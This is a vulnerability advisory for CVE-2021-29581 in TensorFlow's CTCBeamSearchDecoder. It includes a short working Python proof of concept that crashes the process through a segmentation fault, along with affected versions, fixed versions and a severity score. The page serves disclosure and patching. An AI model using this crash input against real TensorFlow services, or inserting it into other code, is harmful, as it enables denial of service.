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CVE-2021-29581: Segfault in `CTCBeamSearchDecoder`

May 21, 2021 (updated November 1, 2024)

Due to lack of validation in tf.raw_ops.CTCBeamSearchDecoder, an attacker can trigger denial of service via segmentation faults:

import tensorflow as tf

inputs = tf.constant([], shape=[18, 8, 0], dtype=tf.float32)
sequence_length = tf.constant([11, -43, -92, 11, -89, -83, -35, -100],
shape=[8], dtype=tf.int32)
beam_width = 10
top_paths = 3
merge_repeated = True

tf.raw_ops.CTCBeamSearchDecoder(
inputs=inputs, sequence_length=sequence_length, beam_width=beam_width,
top_paths=top_paths, merge_repeated=merge_repeated)

References

  • github.com/advisories/GHSA-vq2r-5xvm-3hc3
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-509.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-707.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-218.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/commit/b1b323042264740c398140da32e93fb9c2c9f33e
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-vq2r-5xvm-3hc3
  • nvd.nist.gov/vuln/detail/CVE-2021-29581

Code Behaviors & Features

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Affected versions

All versions before 2.1.4, all versions starting from 2.2.0 before 2.2.3, all versions starting from 2.3.0 before 2.3.3, all versions starting from 2.4.0 before 2.4.2

Fixed versions

  • 2.1.4
  • 2.2.3
  • 2.3.3
  • 2.4.2

Solution

Upgrade to versions 2.1.4, 2.2.3, 2.3.3, 2.4.2 or above.

Impact 5.5 MEDIUM

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

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Weakness

  • CWE-908: Use of Uninitialized Resource

Source file

pypi/tensorflow-gpu/CVE-2021-29581.yml

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